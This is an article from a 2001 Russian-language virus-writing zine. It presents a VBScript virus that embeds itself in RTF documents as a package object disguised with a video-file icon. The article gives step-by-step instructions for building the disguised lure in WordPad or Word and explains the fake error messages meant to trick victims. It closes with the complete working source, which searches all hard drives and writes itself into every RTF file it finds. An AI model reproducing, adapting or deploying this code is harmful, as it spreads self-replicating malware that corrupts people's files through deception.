in name of zero INOZ, issue #1, 20 nov. 2001 RTF - Вирус на VBS by VOVAN // SMF Представляю Вам вирус, который внедряется в RTF файлы. Вирус написан на языке VBS и представляет собой обыкновенный vbs файл хранящийся в документе RTF формата и замаскированный под AVI файл. Вирус рассчитан на любопытство пользователя. Краткое описание Теперь как он работает При открытии пораженного rtf файла пользователь увидит в нем файл с иконкой AVI, т.е. видео файл нажмет на иконку и дело пошло:). Vbs дроппер активизируется и проверяет от куда его запустили и если это Word97/2k тогда показывает юзеру сообщение, типа ошибка ввода/вывода I/O Error и начинает поиск всех rtf файлов на всех доступных HDD дисках при обнаружении таких файлов он дописывается в их начало. Если же вирус запустили не из-под Word97/2k, например из-под WordPad или еще от куда тогда покажем сообщение такого рода Format of data is supported only by Microsoft Word намек юзеру, что надо открыть в Worde тогда типа все заработает) Немного слов о формате записи в RTF файлы Так оказалось, что формат записи Wordа и формат записи WordPadа отличаются это можно легко увидеть, просмотрев и сравнив содержимое rtf файлов Word и WordPad. В файле созданным Wordом вирус занимает 105 строк, а файле созданным WordPadом вирус занимает 253 строки, а все потому, что в файле созданным WordPad строки идут ровным столбиком, а в Wordе х.. знает как, криво короче. Да и еще, после сохранения Wordом файла созданного в WordPadе Word преобразует его в свой формат записи, т.е. было 253 строчки, а станет 105 такие вот дела. Как создать файл RTF и внедрить туда вирус Вирус поддерживает два формата хоть он и не может распространяться из-под WordPad но его можно там создать, т.е. вирус можно создать, не имея под рукой Wordа, просто загружаете WordPad заходите в меню "Вставка" ===> "Объект..." "Создать из файла"указывайте путь к vbs файлу, ставите галочку "в виде значка" далее жмете "Ok". Появляется файл со значком VBS файла, на него сейчас ни кто не клюнет, его надо замаскировать, т.е. сменить иконку. Нажимаем на вставленном объекте правой клавишей мыши, выбираем в меню пункт "Свойства объекта" далее заходим во вкладку "Просмотр" нажимаем кнопку "Сменить значок..." выбираем "из файла" нажимаем кнопку "Обзор" и ищем файл *.ico с подходящей иконкой в данном случае я использовал иконку AVI файла. Далее в низу есть поле "Подпись:" пишем туда 1nfo.avi или что хотите, жмем "Ok" Сохраняем файл в формате RTF и ВСЕ ГОТОВО. А в Worde точно также, только еще проще. Полное описание Вирус состоит из 4 частей 1. Основная часть 2. Функция тест на зараженность - Test_Infected 3. Функция поиска файлов - Search 4. Макрос заражения - Infected Метки M1="{\object\objemb" - начало объекта M2="{\*\objclass Package}" - означает, что объект является пакетом M3="}}}" - конец объекта После запуска вирус ищет открытое приложение Microsoft Word 97 или 2000 далее считывает имя, и путь к активному документу, после чего переходит на функцию Test_Infected(тестирования на зараженность) как видно в функцию передаются три параметра Test_Infected(C,1,K) С - путь и имя к активному документу 1 - означает, что мы ищем файл для считывания из него кода вируса K - вернет считанное тело вируса Функция Test_Infected(тестирования на зараженность) Тестирование происходит следующим образом Для начала проверим, существует ли файл, если не существует, то выходим из функции, если же такой файл существует, тогда считаем его тело в переменную G Далее каждую строку в переменной G проверим на присутствие меток M1 и M2 если метки M1 и M2 найдены, тогда начнем считывать тело объекта, одновременно с этим ведем подсчет, считанных строк, проверяем строку с номером 105 на присутствие в ней метки M3 и если метка найдена, значит, мы в формате Word заканчиваем считывание на конце метки M3 и сдвигаем еще на один символ в право т.к. конец объекта в WordPadе "}}}", а в Wordе "}}}}". Если же метка M3 не найдена то продолжаем считывать до 253 строки далее сравниваем ее с меткой M3, если метка найдена, это означает что файл в формате WordPad и он заражен, заканчиваем считывание тела вируса. Далее по условию, если файл заражен, проверяем параметр P, который мы послали в функцию Test_Infected(C, =>1<= ,K) если он равен 1 или 2 тогда выходим из функции если же файл не заражен и параметр P=2 тогда переходим в макрос Infected, но об этом потом. Переходим на основную часть вируса Таким образом, функция Test_Infected возвращает параметр K в переменную K в которой находится тело вируса, если переменная K пуста соответственно вирусу не удалось найти свое тело, тогда вирус выводит сообщение "Format of data is supported only by Microsoft Word" и заканчивает свою работу если же тело вируса найдено тогда вирус переносит свое тело в переменную D и выводит на экран сообщение об ошибки, при чтении видео файла сообщение выглядит так "I/O Error" названия окна "MPLAYER.EXE" после чего вирус начинает рекурсивный обход всех дисков ищет доступные HDD посылает информацию о первом найденном HDD в функцию Search потом о втором и т.д. Функция Search поиск файлов Функция Search получает путь от основной части вируса и начинает рекурсивный обход всех директорий и под директорий в каждой директории ищутся rtf файлы при обнаружении таких файлов функция Search посылает о них информацию т.е. путь к найденному файлу в функцию Test_Infected для проверке на зараженность с параметром 2, который позволяет переходить из функции Test_Infected в макрос Infected для заражения не зараженных файлов. Макрос заражения Sub Infected() Макрос открывает найденный файл для чтения, считывает его тело в переменную A1 далее переходит в переменной A1, т.е. в теле уже считанного файла на вторую строчку и вставляет туда код вируса из переменной D, все это записывается в переменную A3 далее открывает этот же файл для записи и перезаписывает его переменной A3 Все, и так с каждым rtf файлом. Поставляемые файлы [/vx/files/vx06.rar] ============================================================================== 'VOVAN//SMF - 1nfo.a RTF virus. On Error Resume Next Set A=CreateObject("Scripting.FileSystemObject") M1="{\object\objemb" M2="{\*\objclass Package}" M3="}}}" Set B=GetObject(,"Word.Application") If B<>"" Then C=B.ActiveDocument.FullName Call Test_Infected(C,1,K) End If If K="" Then MsgBox "Format of data is supported only by Microsoft Word",48,"Error" WScript.Quit End If D=K MsgBox "I/O Error",16,"MPLAYER.EXE" Set E=A.Drives For Each Drive In E If Drive.DriveType=2 Or Drive.DriveType=3 Then Search Drive.Path &"\" Next Function Test_Infected(T,P,K) K="" If A.FileExists(T)=False Then Exit Function Set F=A.OpenTextFile(T,1) G=F.ReadAll F.Close H=Split(G,vbCrLf) For I=0 To UBound(H) Step 1 J=H(I)+Chr(13)&Chr(10) If InStr(J,M1)<>0 And InStr(J,M2)<>0 Then J=Mid(J,InStr(J,M1),Len(J)):L=True If L=True Then N=N+1 If (N=105 Or N=253) And L=True And InStr(H(I),M3)<>0 Then If N=105 Then R=3 Else R=2 J=Left(H(I),InStr(H(I),M3)+R) K=K+J Q=True Exit For End If K=K+J End If Next If Q=True Then If P=1 Or P=2 Then Exit Function End If If P=2 Then Infected(T) End Function Function Search(A7) Set S=A.GetFolder(A7) Set U=S.SubFolders For Each V In U Search(V) Next Set W=S.Files For Each X In W Y=A.GetExtensionName(X.Path) If Y="rtf" Or Y="RTF" Then Call Test_Infected(X.Path,2,0) End If Next End Function Sub Infected(Z) Set O=A.OpenTextFile(Z,1) A1=O.ReadAll O.Close H=Split(A1,vbCrLf) For I=0 To UBound(H) Step 1 A2=H(I) A3=A3+A2+Chr(13)&Chr(10) If I=0 Then A3=A3+D+Chr(13)&Chr(10) Next Set A4=A.OpenTextFile(Z,2) A4.Write A3 A4.Close End Sub ==============================================================================